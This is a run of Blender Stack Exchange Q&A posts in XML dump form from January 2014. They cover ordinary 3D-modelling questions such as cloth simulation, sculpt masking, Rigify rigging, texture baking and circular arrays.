  <row Id="5999" PostTypeId="2" ParentId="5997" CreationDate="2014-01-02T22:47:33.010" Score="2" Body="&lt;p&gt;well.. there is &lt;a href=&quot;http://www.blender.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender&lt;/a&gt;. But depending on your need, Blender could be a little overkill, possibly. It is a steep learning curve, but a very, very powerful programme (yes, it is free and opensource). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am sure there are other, intermediate 3D programmes out there, but as a bottom line, I think Blender is worth the effort. It might be overkill for this job specifically, but it will probably pay off in longer term. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit I:&lt;/strong&gt; I would also say that the reason why you want to do this is important. What is the goal? In professional 3d programmes, you have a plethora of alternatives for a plane  and polygons to act in different ways. You have cloth-effects with predefined constrains (thickness, cloth type, colour, substance). This might be useful, as you could make polygons of various shapes, and then &quot;drape&quot; the cloth over it, and it will act as a twisted mesh. Just a thought.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit II:&lt;/strong&gt; I am not well versed in autodesk, but here are some examples from Blender (Blender is the open-source cousin of Maya):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HoSjZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This image is &lt;a href=&quot;http://cgcookie.com/blender/2010/08/17/cloth-simulation/&quot; rel=&quot;nofollow noreferrer&quot;&gt;taken from this tutorial.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Physics/Cloth&quot; rel=&quot;nofollow noreferrer&quot;&gt;explanation of how it works here.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, you do not have to make it &lt;em&gt;that&lt;/em&gt; clothlike. You can set properties to be a stiffer material (i.e. fewer vertices, thicker material), and what shapes you choose to drape your mesh over will of course define the resolution.&lt;/p&gt;&#xA;" OwnerUserId="1659" OwnerDisplayName="boblet" LastActivityDate="2014-01-03T14:37:06.657" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6001" PostTypeId="2" ParentId="5997" CreationDate="2014-01-04T23:47:30.187" Score="0" Body="&lt;p&gt;If you want to simulate cloth I strongly suggest you use a plane with many subdivision (100x100 vertices for instance) instead of what you have in your image. If you want that pattern it is possible to bake textures for it from your mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the basic workflow. Blender SE is not for tutorials so you will only get the super short version. Experiment some and come back with more precise questions.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to the Physics panel with your plane selected and add cloth. Leave it at standard settings.&lt;/li&gt;&#xA;&lt;li&gt;Hit &lt;kbd&gt;Alt + A&lt;/kbd&gt; to start simulating. The cloth will fall because of gravity and since nothing is stopping it, it will fall straight down.&lt;/li&gt;&#xA;&lt;li&gt;Hit &lt;kbd&gt;Alt + A&lt;/kbd&gt; to stop simulating. Hit &lt;kbd&gt;Ctrl + Shift + Down&lt;/kbd&gt; to go to the start frame.&lt;/li&gt;&#xA;&lt;li&gt;Add an object to interact with it. For this object, also in the physics panel, add Collision.&lt;/li&gt;&#xA;&lt;li&gt;Start the simulation again. See how your cloth interacts with the new object.&lt;/li&gt;&#xA;&lt;li&gt;Using the timeline, select a nice frame where you like how your cloth looks.&lt;/li&gt;&#xA;&lt;li&gt;Select the cloth and in the modifier panel, press apply. You cloth is no longer simulated, rather it is frozen in time, in the selected frame.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;To fold the cloth you do like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a vertex group with vertices that you want pinned. Kind of like if you would nail them to the floor or hold them with your fingers.&lt;/li&gt;&#xA;&lt;li&gt;Create a shape key where the pinned vertices move.&lt;/li&gt;&#xA;&lt;li&gt;Animate your shape key so that the pinned vertices move to proper locations. This is where you grap a piece of the cloth and move it over time.&lt;/li&gt;&#xA;&lt;li&gt;Run the simulation. The pinned vertices will drag the rest of the cloth with them.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;To roll it, hmmm... I think I would create the cloth as a loose roll and let it fall on a surface.&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2014-01-04T23:47:30.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6002" PostTypeId="2" ParentId="539" CreationDate="2014-01-05T01:48:21.240" Score="5" Body="&lt;p&gt;The snapping behavior is good for getting the objects touching, but I had trouble getting the rotation to work correctly.&#xA;After much searching I finally stumbled upon using custom Transform Orientations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In edit mode, select the face of the object you want to align to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a Transform Orientation from Selection (which is down at the bottom of the Properties toolbar (N), in the Transform Orientations section. Looks like a +)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In object mode, select the object that you want aligned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select your new Transform Orientation, (should be called Face, in the Transform Orientations section of the Properties toolbar.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now use Object-&gt;Transform-&gt;Align to Transform Orientation&lt;/p&gt;&#xA;" OwnerUserId="2052" LastEditorUserId="2052" LastEditDate="2014-01-05T19:00:01.477" LastActivityDate="2014-01-05T19:00:01.477" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6004" PostTypeId="2" ParentId="5984" CreationDate="2014-01-05T01:54:02.190" Score="6" Body="&lt;p&gt;you could always seperate the mesh (select the ear in edit mode, hit P and seperate based on selection) then remesh each object individually, apply the modifier, and then join (and manually stitch or use bridge if possible)&lt;/p&gt;&#xA;" OwnerUserId="390" LastActivityDate="2014-01-05T01:54:02.190" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6005" PostTypeId="2" ParentId="5966" CreationDate="2014-01-05T02:00:15.433" Score="9" Body="&lt;p&gt;You can do this in cycles also, when using the UV coordinate texture node, make sure to click 'from dupli'&lt;img src=&quot;https://i.stack.imgur.com/5Ut1g.png&quot; alt=&quot;example using checkerboard&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="390" LastActivityDate="2014-01-05T02:00:15.433" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6006" PostTypeId="1" AcceptedAnswerId="6007" CreationDate="2014-01-05T02:45:20.697" Score="4" ViewCount="1661" Body="&lt;p&gt;I am using the simplify brush with dynamic topology turned on, so that I can manually remesh my object, which is a head.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything works until I get to the ear, and try to reduce triangle density on the back of the ear (while leaving the front unchanged).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I'm getting is that sometimes the brush punches through and starts operating on the far face. Even though I've checked &quot;front faces only&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iAv2w.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can in the picture; I've been editing the back of the ear, and I've just turned it round to inspect the damage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing this is because the ear is thin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, is there any way to prevent this?&lt;/p&gt;&#xA;" OwnerUserId="1693" LastActivityDate="2014-01-05T06:27:29.003" Title="Possible bug? Sculpt Mode -&gt; Simplify Brush is affecting far side of mesh" Tags="&lt;sculpting&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6007" PostTypeId="2" ParentId="6006" CreationDate="2014-01-05T06:27:29.003" Score="3" Body="&lt;p&gt;It can be a bug, or something in developement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For you question: You can use various Mask tools / operations to temporally &quot;block&quot; the areas from being affected. For example, There is a brush type called &lt;strong&gt;Mask&lt;/strong&gt; (or press &lt;kbd&gt;M&lt;/kbd&gt; to switch to it), and also a menu category called &lt;strong&gt;Hide/Mask&lt;/strong&gt; on the 3d View header when in &lt;strong&gt;Sculpt&lt;/strong&gt; mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, to quickly meet what you need, you can &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;LMB&lt;/kbd&gt; to drag the block area (it will be shown in dark grey). Then just paint. When finishing, clear the mask by &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/E56kZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Za3k8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-01-05T06:27:29.003" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6008" PostTypeId="1" AcceptedAnswerId="6009" CreationDate="2014-01-05T07:14:41.863" Score="2" ViewCount="226" Body="&lt;p&gt;I have an object that I have created in Blender out of a bunch of cubes. When I export it .3ds into Photoshop, the cubes are each individually texturized, but I want them to all blend together as if they were all one object. I can't for the life of me figure this out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/kqsSops.png&quot; alt=&quot;Example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can clearly see each individual cube, but I want them to all blend together as one object. How do I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Eedis&lt;/p&gt;&#xA;" OwnerUserId="2053" LastEditorUserId="599" LastEditDate="2014-01-05T08:57:24.473" LastActivityDate="2014-01-05T08:57:24.473" Title="How to make an object's texture conjoin when exported to Photoshop?" Tags="&lt;rendering&gt;&lt;texturing&gt;&lt;export&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6009" PostTypeId="2" ParentId="6008" CreationDate="2014-01-05T08:26:22.043" Score="1" Body="&lt;p&gt;To physically merge the cubes into one solid mesh:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Join the cubes into on object by selecting them all and pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Switch into edit mode (&lt;kbd&gt;Tab&lt;/kbd&gt;), and remove doubles (&lt;kbd&gt;A&lt;/kbd&gt; to select all and then &lt;kbd&gt;W&lt;/kbd&gt;&lt;em&gt;&gt; Remove doubles&lt;/em&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You may need to remove internal faces too. Select internal faces by pressing &lt;em&gt;Internal faces&lt;/em&gt; in &lt;em&gt;3D view &gt; Header &gt; Select&lt;/em&gt;, then delete them with &lt;kbd&gt;Delete&lt;/kbd&gt;&lt;em&gt;&gt; Faces&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-01-05T08:26:22.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6010" PostTypeId="1" AcceptedAnswerId="6014" CreationDate="2014-01-05T09:06:28.923" Score="3" ViewCount="1327" Body="&lt;p&gt;I tried to add keyframes for the emission value of a material to an action, but couldn't find out how. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding keyframes for a object's location works as expected but properties like emission only show up in the &lt;em&gt;Timeline&lt;/em&gt; and &lt;em&gt;Curve Editor&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A MaterialAction is created (only visible in the &lt;em&gt;NLA Editor&lt;/em&gt;) toggling to edit mode &lt;kbd&gt;Tab&lt;/kbd&gt; the keyframes are displayed in the time line. This MaterialAction is not accesible from the &lt;em&gt;Action Editor&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GdWmu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fweebs suggestion to use a driver works unfortunatly only in the &lt;em&gt;3D-Viewport&lt;/em&gt; but not in the BGE. I didn't ask specifically for the BGE because I was hoping for a common solution that works everywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pp924.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uQZCL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.blendfile &lt;a href=&quot;http://www.filedropper.com/propertyanim&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-01-06T08:04:36.183" LastActivityDate="2014-01-06T08:04:36.183" Title="How can keyframes of properties be added to an action?" Tags="&lt;animation&gt;&lt;game-engine&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6011" PostTypeId="2" ParentId="5994" CreationDate="2014-01-05T10:41:40.367" Score="2" Body="&lt;p&gt;It depends on how the glove is connected to your computer, assuming it works with USB there're two common approaches (I don't know a finished plugin).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One is to use a server for the &lt;a href=&quot;https://en.wikipedia.org/wiki/Open_Sound_Control&quot; rel=&quot;nofollow noreferrer&quot;&gt;OSC&lt;/a&gt; protocol and receive the data in a python module in Blender. I used this for integrating a Kinect Sensor. &#xA;An example integration you find in this project's &lt;a href=&quot;http://dm.tzi.de/bloop/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bloop NUI zip file&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another method would be to use the API of the glove (if available) and include this as a library in Blender to poll data. This I've used to read head tracking data from an Oculus Rift. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://blender.stackexchange.com/questions/2665/how-can-i-do-a-one-time-initialization&quot;&gt;How can I do a one-time Initialization?&lt;/a&gt; for an example on invoking methods of an external library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the glove comes without an API you could interface with &lt;a href=&quot;http://www.signal11.us/oss/hidapi/&quot; rel=&quot;nofollow noreferrer&quot;&gt;hdiapi&lt;/a&gt;  and analyze the data. &lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2014-01-05T10:41:40.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6012" PostTypeId="2" ParentId="6010" CreationDate="2014-01-05T10:45:57.660" Score="3" Body="&lt;p&gt;As the tooltip mentioned: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Edit keyframes in active object's Object-level action.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So I bet that is why it is not currently supported yet? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FE9Hh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you can still tweak it in the Dope Sheet mode, and use the Filter button to block other action types, if helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Kb61H.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-01-05T10:45:57.660" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6013" PostTypeId="1" CreationDate="2014-01-05T13:21:46.060" Score="2" ViewCount="1080" Body="&lt;p&gt;I get these weird black edges in renders. I don't know what the cause of it is. I've gotten them before with really close up shots and low focal lengths, but this image only has a focal length of 25 or so. What could be the cause?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the image below, you can see it along the edge of the wave at the bottom just to the left of center.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5Y8Tu.png&quot; alt=&quot;black edges in render&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2055" LastActivityDate="2014-01-05T13:21:46.060" Title="Black edges artifacts in renders on edges of geometry?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;camera&gt;" AnswerCount="0" CommentCount="7" ClosedDate="2014-01-06T01:12:36.217" ContentLicense="CC BY-SA 3.0" />
  <row Id="6014" PostTypeId="2" ParentId="6010" CreationDate="2014-01-05T15:18:13.647" Score="3" Body="&lt;p&gt;You can't do it directly, but you can use a driver that ties the property value to the location of an object (typically an Empty or a bone in an armature) in your scene. That animation can be included in an action.&lt;/p&gt;&#xA;" OwnerUserId="836" LastActivityDate="2014-01-05T15:18:13.647" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6015" PostTypeId="1" AcceptedAnswerId="6017" CreationDate="2014-01-05T16:13:14.403" Score="9" ViewCount="5699" Body="&lt;p&gt;I have ten cubes selected. I would like to change their rotation using numeric input, using the edit boxes on the panel that opens when you press N. However, only one cube's parameter is changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same is true for location, scale, location/rotation/scale lock, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is the change by the numeric entry not being set on each selected objects? And how to achieve my intended result?&lt;/p&gt;&#xA;" OwnerUserId="327" LastEditorUserId="12" LastEditDate="2014-01-05T20:55:03.037" LastActivityDate="2020-04-22T19:26:19.653" Title="Applying numeric input attribute changes on multiple objects at the same time" Tags="&lt;modeling&gt;&lt;transforms&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6016" PostTypeId="2" ParentId="6015" CreationDate="2014-01-05T16:44:27.077" Score="4" Body="&lt;p&gt;Blender will only affect the currently selected or the &lt;em&gt;last&lt;/em&gt; selected object, you cannot mass transform objects like that by default using the transform panel in the &lt;em&gt;Toolshelf&lt;/em&gt;. If you look in the panel you will see that you are operating only on one object, the one that shows under &lt;em&gt;Item&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CoznP.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;However, there are several ways to do this:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You can just set the pivot point to &lt;em&gt;Individual Origins&lt;/em&gt; and you can transform multiple objects at once by selecting them all and using &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt; to rotate, scale or move respectively. Provided the objects all have their centers correct this should work properly. It's not exactly numeric but you can still transform in units by choosing the axes and  typing the precise number after.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZyvBa.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Another way is to use repeat last on the other objects by pressing &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt; after transforming an object. This only works for one action, the last performed one so make a transform you want on one object, select the other objects &lt;em&gt;one by one&lt;/em&gt; and run &lt;em&gt;Repeat Last&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You could also use an &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Array&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Array&lt;/em&gt;&lt;/a&gt; modifier. You can transform the initial object any way you wish and have the others update and the modifier also has position offsets.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/m3wq1.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-01-05T17:08:18.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6017" PostTypeId="2" ParentId="6015" CreationDate="2014-01-05T18:34:51.020" Score="10" Body="&lt;p&gt;The &lt;strong&gt;Transform&lt;/strong&gt; in the N panel only reflects the active object. If you want to set the  value to all selected objects, you can also try the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select those objects;&lt;/li&gt;&#xA;&lt;li&gt;Setting the value as you want;&lt;/li&gt;&#xA;&lt;li&gt;Keep those objects selected, right click on the value input field, select &quot;Copy to Selected&quot;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/84N87.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-01-05T18:34:51.020" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6018" PostTypeId="1" CreationDate="2014-01-05T21:19:44.597" Score="1" ViewCount="825" Body="&lt;p&gt;I have spent a few days with this issue trying to solve an issue for a work project that needs to be ready in less than a week. I normally dont have a need to bake textures onto models however it is required for this project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I have followed every written and video tutorial I could find and tested them on a basic cube in blender, and every time I bake the texture to the cube it comes out wrong. Massive bleeding around the UV, the actual texture I created in GIMP is drastically shrunk, and is entirely on one face of the mesh. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And just a moment ago I decided to bake it again, without changing any settings and the texture magically rearranged itself to fit properly with some bleeding. I am very confused and need to know how to properly bake textures for real models for work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ampVw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cKAxb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2057" LastEditorUserId="395" LastEditDate="2014-01-05T21:30:18.703" LastActivityDate="2014-01-05T21:30:18.703" Title="Blender 2.69 Baking issue" Tags="&lt;uv&gt;&lt;texture-baking&gt;" AnswerCount="0" CommentCount="15" ContentLicense="CC BY-SA 3.0" />
  <row Id="6019" PostTypeId="1" AcceptedAnswerId="6043" CreationDate="2014-01-05T22:16:04.537" Score="1" ViewCount="4755" Body="&lt;p&gt;I'm fairly new to blender but I've write some python to import some old models from triangle data with UV texture images.  Some of the models have more than mesh so each mesh has its own UV texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In blender would I create one object per mesh or create 2 meshes under one object (and if the latter - how is that done in python?)&lt;/p&gt;&#xA;" OwnerUserId="2060" LastActivityDate="2014-01-07T06:29:08.677" Title="Multiple meshes per object" Tags="&lt;python&gt;&lt;mesh&gt;" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6020" PostTypeId="1" CreationDate="2014-01-05T23:03:51.470" Score="1" ViewCount="1335" Body="&lt;p&gt;So I followed this tutorial: &lt;a href=&quot;http://cgcookie.com/blender/2013/04/23/quick-rigging-with-the-rigify-addon/&quot; rel=&quot;nofollow&quot;&gt;riggify&lt;/a&gt; to the letter and once I go into pose mode, my mesh will not move/deform with the bones. Only the bones move, without any of the mesh. I have tried parenting to just the bones without the riggify and it still doesn't work. Tried looking up solutions but nothing solves it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here's a link to my .blend file: &lt;a href=&quot;https://drive.google.com/file/d/0B6xONZ2msgKHRDFDaGNJc2RqaWM/edit?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;https://drive.google.com/file/d/0B6xONZ2msgKHRDFDaGNJc2RqaWM/edit?usp=sharing&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This link is for AFTER I have applied the parenting (with automatic weights)&lt;/p&gt;&#xA;" OwnerUserId="2036" LastEditorUserId="2036" LastEditDate="2014-01-05T23:20:57.850" LastActivityDate="2014-01-06T15:43:47.530" Title="mesh won't deform (in pose mode) once parented to bones" Tags="&lt;mesh&gt;&lt;rigging&gt;&lt;bones&gt;&lt;rigify&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6021" PostTypeId="2" ParentId="6020" CreationDate="2014-01-06T00:05:14.753" Score="2" Body="&lt;p&gt;Automatic weighting can fail if there's a badly-formed polygons in the mesh. In your case, there are several overlapping vertices in the character's mesh. After executing &lt;strong&gt;Remove Doubles&lt;/strong&gt; on the mesh, automatic weighting works as intended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an aside, you're not supposed to use the &lt;code&gt;metarig&lt;/code&gt; object as the character's rig. In the &lt;strong&gt;Property&lt;/strong&gt; space &gt; &lt;strong&gt;Object Data&lt;/strong&gt; tab (armature icon) for that object, there's a &lt;strong&gt;Generate&lt;/strong&gt; button that will create a separate full-featured armature object, named &lt;code&gt;rig&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rTjYK.png&quot; alt=&quot;1a&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;metarig&lt;/code&gt; is provided as an intuitive way for you to indicate where joints, bones, etc. are supposed to be. The script uses the &lt;code&gt;metarig&lt;/code&gt; to decide where all the &quot;real&quot; bones and control bones go. That &lt;code&gt;rig&lt;/code&gt; object generated from the &lt;code&gt;metarig&lt;/code&gt; is meant to be used as the character's armature, not the &lt;code&gt;metarig&lt;/code&gt; itself.&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="1653" LastEditDate="2014-01-06T15:43:47.530" LastActivityDate="2014-01-06T15:43:47.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6022" PostTypeId="1" AcceptedAnswerId="6033" CreationDate="2014-01-06T01:05:10.980" Score="8" ViewCount="3319" Body="&lt;p&gt;I have plane in blender. On that plane I have single texture (512x512) that repeats itself and makes my &quot;floor&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to do is export somehow new image for further editing. That image would contain same texture that is repeated, in same scale that I see in blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at image, please :&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7YRuk.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the right I have that 512x512 texture, on the left is the result of texture tiling.&#xA;I want to export tiled image that we can see on the left in 3D editor, into new image that I can modify further in other software, then import it back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did see couple of videos and tutorials of texture baking, but I can't seem to get it right. Is texture baking what I need here, or there is other way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I should say that I plan to use this texture in Unity, therefore I don't need solution that would only work in Blender. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This problem bothers me for quite a while, I used to make my textures in 0-1 space, but that gives horrible results for larger models. I really need to find a way to do this right, it would greatly help me in future texturing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2062" LastEditorUserId="29" LastEditDate="2014-01-06T13:20:30.510" LastActivityDate="2014-01-06T14:26:00.770" Title="Exporting tiled texture?" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;unity&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6023" PostTypeId="1" AcceptedAnswerId="6025" CreationDate="2014-01-06T02:08:32.343" Score="42" ViewCount="86090" Body="&lt;p&gt;We know that the there is an &lt;strong&gt;Object Offset&lt;/strong&gt; option for &lt;strong&gt;Array&lt;/strong&gt; modifier, but when trying to make a circular array with that offset object as the center of the array circle, it always doesn't behave quite like what's expected. So how to make a nice and controllable circular array?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;P.S.&lt;/strong&gt;: There is an old &lt;a href=&quot;https://www.youtube.com/watch?v=s5teWMHUDgs/&quot; rel=&quot;noreferrer&quot;&gt;trick on CGCookie&lt;/a&gt; about moving the object's origin. I wonder if there is any way to do this without changing the location of the origin. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mQP8h.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2016-04-01T00:44:19.153" LastActivityDate="2018-05-17T15:50:29.167" Title="How to make a circular array using offset object as center?" Tags="&lt;modifiers&gt;" AnswerCount="6" CommentCount="5" FavoriteCount="34" ContentLicense="CC BY-SA 3.0" />
